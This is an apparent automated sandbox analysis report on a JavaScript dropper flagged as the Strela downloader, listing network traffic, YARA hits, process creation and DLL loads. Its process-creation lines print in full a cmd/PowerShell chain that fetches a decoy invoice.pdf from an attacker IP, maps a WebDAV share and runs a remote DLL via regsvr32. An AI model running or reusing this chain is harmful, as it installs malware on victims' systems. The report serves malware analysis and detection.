6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49738

Source: global traffic

TCP traffic: 192.168.2.10:49738 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.10:55614 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.10:49722 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1296818276.00000246DF020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1362553147.00000185C9844000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1362553147.00000185C982D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1362553147.00000185C9861000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1362553147.00000185C9808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1362553147.00000185C9844000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/-
Source: net.exe, 00000007.00000002.1362553147.00000185C9808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/temW
Source: net.exe, 00000007.00000002.1362553147.00000185C9844000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/y
Source: svchost.exe, 00000009.00000002.2587247481.000001BD88A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1362106950.000001BD88C00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7764, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 26999259552055117101.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/58@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7868:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lpntjpj1.edl.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 26999259552055117101.js

Virustotal: Detection: 10%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26999259552055117101.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1744,i,2510451589917197200,12978037553807440395,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1744,i,2510451589917197200,12978037553807440395,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
